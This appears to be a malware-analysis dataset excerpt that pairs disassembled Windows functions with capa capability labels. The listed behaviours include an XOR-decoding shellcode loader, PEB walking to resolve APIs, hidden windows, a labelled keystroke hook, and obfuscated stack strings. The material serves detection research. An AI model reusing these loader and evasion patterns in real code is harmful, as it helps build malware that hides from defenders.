joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43497d
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
mov eax, 0x43b1c0
call fcn.00437bf0
sub esp, 0x14
push ebx
push esi
call fcn.004197e2
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x444130]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00419ae0
pop ecx
mov esi, 0x4560a4
push esi
push 0x445334
lea ecx, [ebp - 0x14]
call fcn.0040348c
push esi
push 0x4442f4
lea ecx, [ebp - 0x14]
call fcn.0040348c
push esi
push 0x4442b4
lea ecx, [ebp - 0x14]
call fcn.0040348c
mov eax, dword [0x444130]
mov dword [ebp - 0x10], eax
push 0x105
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00403003
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.0040306b
mov eax, dword [0x465708]
lea ecx, [ebp - 0x10]
push eax
push dword [eax - 8]
call fcn.00402f26
push str._.html
lea ecx, [ebp - 0x18]
call fcn.00402d79
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 2
push dword [eax - 8]
call fcn.00402f26
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00402cb3
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00402c6d
push ecx
lea eax, [ebp - 0x10]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
mov byte [ebp - 4], 3
call fcn.00402c6d
mov byte [ebp - 4], 1
call fcn.004179ea
pop ecx
pop ecx
push 5
push ebx
push ebx
push dword [ebp - 0x10]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.00402cb3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00402cb3
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x434db1
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
push 0
push dword [esi + 0x810]
mov dword [esi], 0x43ce4c
push 7
push 2
push dword [esi + 0x81c]
call fcn.00434e4b
mov esi, dword [esi + 8]
test esi, esi
je 0x434de6
push 0x444
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
pop esi
ret

Function at 0x434de8
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
push 0
push dword [esi + 0x810]
push 7
push 2
push dword [esi + 0x81c]
call fcn.00434e4b
mov eax, dword [esi + 8]
test eax, eax
je 0x434e1b
push 0x444
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
and dword [esi + 8], 0
pop esi
ret
Function at 0x434ed2
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowExW]
push edi
xor edi, edi
mov ebx, str.Shell_TrayWnd
push edi
push ebx
push edi
push edi
call esi
cmp eax, edi
je 0x434f0f
push edi
push str.TrayNotifyWnd
push edi
push eax
call esi
cmp eax, edi
je 0x434f0f
push dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
jmp 0x434fd3
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x24
push eax
push 5
call dword [sym.imp.SHELL32.dll_SHAppBarMessage]
test eax, eax
je 0x434f75
mov eax, dword [ebp - 0x18]
sub eax, edi
je 0x434f59
dec eax
je 0x434f3a
dec eax
je 0x434f59
dec eax
jne 0x434fd3
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 8]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0xc]
lea edx, [ecx - 0x64]
add ecx, 0xfffffff0
mov dword [eax], edx
mov dword [eax + 8], ecx
jmp 0x434fd3
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
lea edx, [ecx - 0x64]
add ecx, 0xfffffff0
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edx
jmp 0x434f54
push edi
push ebx
push edi
push edi
call esi
cmp eax, edi
je 0x434fb2
mov esi, dword [ebp + 8]
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esi + 8]
mov ecx, eax
sub ecx, dword [esi]
cmp ecx, 0x96
jle 0x434fa0
add eax, 0xffffff6a
mov dword [esi], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
sub ecx, dword [esi + 4]
cmp ecx, 0x1e
jle 0x434fd3
add eax, 0xffffffe2
jmp 0x434fd0
mov esi, dword [ebp + 8]
push edi
push esi
push edi
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov eax, dword [esi + 8]
sub eax, 0x96
mov dword [esi], eax
mov eax, dword [esi + 0xc]
sub eax, 0x1e
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x434ffc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [ebp + 0xc], 0
je 0x43503b
call fcn.00434fd8
test eax, eax
je 0x43503b
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x10]
push eax
call fcn.00434ed2
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
push 3
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
leave
ret 8
Function at 0x4350e8
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push dword [ebp + 0x10]
mov esi, ecx
mov dword [esi + 0x810], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x80c], eax
lea eax, [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, esi
call fcn.00435066
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x435121
mov dword [esi + 0x814], eax
cmp dword [ebp + 0x18], 0
je 0x435153
mov eax, dword [esi + 8]
test eax, eax
je 0x43513a
push 0x444
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [esi + 4]
push eax
push 0
push esi
push 0x43515b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 8], eax
push 1
pop eax
pop esi
pop ebp
ret 0x14

Function at 0x435369
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x2b4
xor edx, edx
cmp dword [0x48080c], edx
push esi
mov esi, ecx
jne 0x4353d2
push ebx
push ebp
push edi
mov ecx, 0xac
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], edx
mov ebp, 0x2b4
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0x4001
lea eax, [esp + 0x14]
push ebp
push eax
mov ebx, 0x456140
push edx
push ebx
call edi
mov dword [esi + 4], eax
push 0x4000
lea eax, [esp + 0x14]
push ebp
push eax
push 0
push ebx
call edi
pop edi
mov dword [esi + 8], eax
pop ebp
mov dword [0x48080c], 1
pop ebx
pop esi
add esp, 0x2b4
ret

Function at 0x435400
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
push ebx
push esi
push edi
mov edi, 0x2b4
push edi
lea eax, [ebp - 0x2b4]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 0xc]
add esp, 0xc
or si, 0x4010
lea eax, [ebp - 0x2b4]
push esi
push edi
push eax
push 0x80
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
not esi
and esi, 1
mov ecx, ebx
push esi
push dword [ebp - 0x2b0]
call fcn.004353da
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x435eaa
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
mov ebx, ecx
push edi
push dword [ebx + 0x38]
call fcn.00435dcc
pop ecx
push dword [ebx + 0x30]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x435feb
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [ebx + 0x30]
jne 0x435feb
push dword [ebx + 0x24]
push dword [ebx + 0x38]
call dword [sym.imp.USER32.dll_GetSubMenu]
xor edi, edi
mov dword [ebp - 4], eax
cmp eax, edi
je 0x435feb
push esi
push 1
pop esi
mov ecx, ebx
push esi
mov dword [ebx + 0x14], esi
push dword [ebx + 0x24]
call fcn.00435b37
lea eax, [ebp - 0x1c]
mov ecx, ebx
push eax
mov dword [ebp - 0x1c], edi
push dword [ebx + 0x24]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
call fcn.00435b07
mov eax, dword [ebp - 0x1c]
push esi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_MapWindowPoints]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebx + 0x2c]
call esi
lea eax, [ebp - 0x1c]
push 2
push eax
push edi
push dword [ebx + 0x2c]
call esi
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea esi, [ebp - 0x1c]
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x30], 0x14
mov dword [0x48081c], ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, esi
push eax
push esi
push 0x435fef
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x480820], eax
mov eax, dword [ebx + 0x24]
mov dword [ebx + 0x10], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebx + 0x2c]
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x140
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_TrackPopupMenuEx]
cmp eax, esi
je 0x435fc0
push 0xaffe0000
push eax
push 0x111
push dword [ebx + 0x2c]
call dword [sym.imp.USER32.dll_SendMessageW]
or dword [ebx + 0x10], 0xffffffff
push esi
push dword [ebx + 0x24]
mov ecx, ebx
call fcn.00435b37
push dword [0x480820]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [0x480820], esi
mov dword [0x48081c], esi
mov dword [ebx + 0x18], esi
pop esi
pop edi
pop ebx
leave
ret
Function at 0x43648b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jne 0x43649a
xor eax, eax
pop edi
pop ecx
ret
mov eax, dword [edi + 0x3c]
push ebx
push ebp
push esi
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
mov ebp, dword [ecx + 0x18]
test ebp, ebp
je 0x4364ed
mov ebx, dword [esp + 0x1c]
mov ch, byte [ebx]
mov edx, dword [eax + esi*4]
add edx, edi
mov cl, byte [edx]
cmp cl, ch
jne 0x4364e8
mov eax, ebx
sub edx, ebx
test cl, cl
je 0x4364f5
cmp byte [eax], 0
je 0x4364f5
mov cl, byte [edx + eax + 1]
inc eax
cmp cl, byte [eax]
je 0x4364d2
mov eax, dword [esp + 0x18]
inc esi
cmp esi, ebp
jb 0x4364c3
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
pop ecx
ret
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
pop esi
pop ebp
pop ebx
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
pop edi
pop ecx
ret

Function at 0x43651b
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov ecx, dword [esp + 4]
push ebx
push ebp
mov ebp, dword [eax + 0xc]
push esi
push edi
add ebp, 0xc
mov ebp, dword [ebp]
mov eax, dword [ebp + 0x30]
test eax, eax
je 0x43652f
mov edx, dword [esp + 0x18]
test edx, edx
je 0x436543
mov dword [edx], eax
test ecx, ecx
je 0x436586
mov ebx, dword [ebp + 0x30]
xor esi, esi
xor edi, edi
cmp word [ebx], si
je 0x436582
movzx eax, word [ebx]
nop dword [eax + eax]
movzx eax, ax
mov edx, eax
lea ecx, [eax - 0x41]
cmp cx, 0x19
ja 0x43656f
add eax, 0x20
movzx edx, ax
inc esi
movzx eax, dx
add edi, eax
movzx eax, word [ebx + esi*2]
test ax, ax
jne 0x43655b
mov ecx, dword [esp + 0x14]
cmp ecx, edi
jne 0x43652f
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x43659b
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
sub esp, 8
mov eax, dword [eax + 0xc]
add eax, 0xc
nop
mov eax, dword [eax]
cmp dword [eax + 0x30], 0
je 0x4365ab
push ebx
push ebp
push esi
mov esi, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
push edi
mov dword [esp + 0x14], eax
mov eax, dword [0x44497e]
push 0
push eax
call fcn.0043651b
mov ecx, dword [str.ExitProcess]
mov ebx, eax
push ecx
push ebx
call fcn.0043648b
mov edi, dword [0x444966]
add esp, 0x10
mov ebp, eax
cmp dword [edi], 0
je 0x43663b
xor ecx, ecx
cmp word [esi], cx
je 0x436603
nop dword [eax]
inc ecx
cmp word [esi + ecx*2], 0
jne 0x4365fb
cmp cl, byte [edi]
je 0x436610
cmp cl, byte [edi + 1]
je 0x436610
push 0
call ebp
movzx eax, word [esi]
xor edx, edx
xor ecx, ecx
test ax, ax
je 0x43662d
movzx eax, ax
lea ecx, [ecx + 1]
add edx, eax
movzx eax, word [esi + ecx*2]
test ax, ax
jne 0x43661c
cmp edx, dword [edi + 4]
je 0x43663b
cmp edx, dword [edi + 8]
je 0x43663b
push 0
call ebp
mov eax, dword [0x44495a]
push eax
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edx, edx
mov esi, eax
cmp dword [0x44498a], edx
jbe 0x436678
mov ecx, dword [str.VirtualProtect]
mov ecx, dword [ecx + edx]
mov dword [edx + esi], ecx
mov eax, dword [0x444976]
dec ecx
inc esp
add byte [ebx], al
sar byte [ebx], 1
adc eax, 0x44498a
jb 0x43665d
push esi
push ebx
call fcn.0043648b
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x43670c
mov esi, dword [0x44497a]
lea eax, [esp + 0x10]
mov ecx, dword [0x44498a]
push eax
push ecx
mov ecx, dword [0x444986]
add byte [ecx + 0x56], dl
call ebx
mov edx, dword [0x44495e]
mov ecx, 8
add edx, dword [esp + 0x14]
mov edi, dword [edx + 4]
cmp dword [0x444986], ecx
jbe 0x4366d9
mov eax, dword [edx + ecx]
add eax, edi
mov dword [esi + ecx], eax
mov eax, dword [0x444976]
add ecx, eax
cmp ecx, dword [0x444986]
jb 0x4366c2
mov eax, dword [0x44496e]
mov dword [esi + 8], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
mov eax, dword [0x444986]
push eax
push esi
call ebx
mov eax, dword [0x444962]
mov ecx, dword [esi + 0xc]
add ecx, eax
mov eax, dword [0x444962]
add ecx, esi
Function at 0x436ee5
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
or dword [ebp - 8], 0xffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
mov esi, ecx
push dword [ebp + 0x10]
xor edi, edi
call ebx
test eax, eax
jle 0x436f26
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp word [eax], 9
je 0x436f23
push dword [ebp + 0x10]
add dword [ebp - 4], 2
inc edi
call ebx
cmp edi, eax
jl 0x436f0a
jmp 0x436f26
mov dword [ebp - 8], edi
push dword [ebp + 0x14]
push dword [ebp + 8]
call dword [sym.imp.GDI32.dll_SetTextColor]
cmp dword [esi + 0x48], 0
jne 0x436f69
push str.NULL_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 6
push dword [ebp + 8]
call dword [sym.imp.GDI32.dll_GetCurrentObject]
test eax, eax
je 0x436f69
lea ebx, [esi + 0x50]
push ebx
push 0x5c
push eax
call dword [sym.imp.GDI32.dll_GetObjectW]
push ebx
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [esi + 0x48], eax
mov eax, dword [esi + 0x4cc]
mov ebx, 0x100000
neg eax
sbb eax, eax
mov edi, dword [sym.imp.USER32.dll_DrawTextW]
and eax, 0xfff00000
add eax, ebx
or al, 0x24
push eax
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp + 8]
call edi
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
je 0x436fc6
mov ecx, dword [esi + 0x4cc]
neg ecx
sbb ecx, ecx
and ecx, 0xfff00000
add ecx, ebx
or ecx, 0x26
push ecx
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0xc]
lea eax, [ecx + eax*2 + 2]
push 0xffffffffffffffff
push eax
push dword [ebp + 8]
call edi
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x437401
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
lea ecx, [ebp + 0x10]
cmp dword [ebp + 0x10], eax
push esi
push ecx
push 0x43ceac
setne al
and dword [ebp + 0x10], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
test esi, esi
jne 0x437455
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push dword [ebp + 0xc]
push 1
push esi
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
pop ebp
ret

Function at 0x43745f
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
lea ecx, [ebp + 0xc]
cmp dword [ebp + 0xc], eax
push esi
push ecx
push 0x43ceac
setne al
and dword [ebp + 0xc], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
test esi, esi
jne 0x4374a1
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
pop ebp
ret
Function at 0x4374c2
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc1c
push esi
xor esi, esi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea ecx, [ebp - 0x41c]
push 0x208
push ecx
push eax
call fcn.004374ab
mov eax, dword [0x45689c]
mov ecx, 0x81
mov dword [ebp - 0x214], eax
xor eax, eax
lea edi, [ebp - 0x210]
push 0x45495c
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x214]
push str.___bg
push eax
call sub.MSVCRT.dll_wcscat
mov eax, dword [0x45689c]
add esp, 0x24
mov dword [ebp - 0xc1c], eax
mov ecx, 0x1ff
xor eax, eax
cmp dword [ebp + 0xc], esi
lea edi, [ebp - 0xc18]
mov dword [ebp - 4], esi
rep stosd dword es:[edi], eax
setne al
lea ecx, [ebp - 4]
add eax, 0x80000001
push ecx
push 0x43ceac
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push 1
lea eax, [ebp - 0xc]
pop edi
mov dword [ebp - 0xc], 0x400
push eax
lea eax, [ebp - 0xc1c]
push eax
lea eax, [ebp - 8]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 8], edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4375e1
lea eax, [ebp - 0xc1c]
push eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
je 0x4375dd
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
lea eax, [ebp - 0x214]
push eax
push edi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, edi
jmp 0x4375e3
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40c28f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40c29e
pop dword [ebp - 0x18]
mov eax, 0x1a56abb6
sub eax, 0x1a15e918
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x6f1389db
sub dword [ebp - 0x28], 0x20c14490
mov dword [ebp - 0x24], 0x43c7140b
add dword [ebp - 0x24], 0xee6c383a
mov dword [ebp - 0x20], 0x1366c2ba
sub dword [ebp - 0x20], 0xc71a7e8c
mov dword [ebp - 0x1c], 0xd6f50f18
add dword [ebp - 0x1c], 0x290af0e8
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xef8166b8
add dword [ebp - 0x28], 0x84f1029e
mov dword [ebp - 0x24], 0x696f2e2
add dword [ebp - 0x24], 0x3ad56e93
mov dword [ebp - 0x20], 0x4ba65ee
sub dword [ebp - 0x20], 0xa14af982
mov dword [ebp - 0x1c], 0x11ff3be6
add dword [ebp - 0x1c], 0xee00c41a
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x38776
push 0
call eax
mov ecx, 0x2d9d6d0e
add ecx, 0xd262de3c
xor ebx, ebx
add ebx, eax
mov esi, 0x41f000
add esi, dword [ebp - 0x18]
mov edx, 0x4681df6d
add edx, 0x23f58a8
xor dword [ebp - 8], edx
mov edi, dword [esi]
sub dword [ebp - 0xc], esi
xor edi, edx
xor dword [ebp - 0xc], edx
mov dword [ebx], edi
add ebx, 0x8f621c5a
add ebx, 0x709de3aa
add esi, 0x1a93eda5
sub esi, 0x1a93eda1
loop 0x40c3b2
add eax, 0xdc5f2011
sub eax, 0xdc5e0016
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4ff7a7ad
add ecx, 0xb0485853
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x20569000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xf
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.2057149a
add esp, 0xc
test dword [esp], ecx
jno 0x20569025
xor esi, 0
test dword [esp + 4], ecx
jno 0x20569044
xchg esi, esi
js 0x20569032
jg 0x20569034
lea ebx, [ebx + 0x45bc]
lea ebx, [ebx - 0x45bc]
jo 0x20569044
add eax, 0xec45c619
push ecx
mov byte [ebp - 0x14], 0x51
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xa], 0x6a
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x73
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0xd], 0x34
mov byte [ebp - 8], 0x74
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 7], 0x75
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xb], 0x47
mov byte [ebp - 6], 0
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0xb]
sub cl, 1
mov byte [ebp - 0xb], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
call fcn.2057ab09
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x2056910c
xor eax, eax
jmp 0x2056917a
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.20583c1d
mov dword [ebp - 0x18], eax
push 0xf
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.2057149a
add esp, 0xc
cmp dword [ebp - 0x18], 0
jne 0x20569136
xor eax, eax
jmp 0x2056917a
jl 0x20569138
mov edx, edx
jmp 0x2056913c
and esp, 0xffffffff
jae 0x2056914f
pushf
shl esp, 0
popf
jbe 0x2056914a
jb 0x2056914c
jb 0x2056914f
call 0x713ed6de
mov eax, dword [ebp - 0x18]
push eax
call fcn.2057935a
add esp, 4
cmp ecx, edx
rol eax, 0x14
ror eax, 0x14
jae 0x2056916f
lea esp, [esp]
xchg esi, esi
jge 0x2056916c
jb 0x2056916f
mov esi, 0x510c4d8b
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8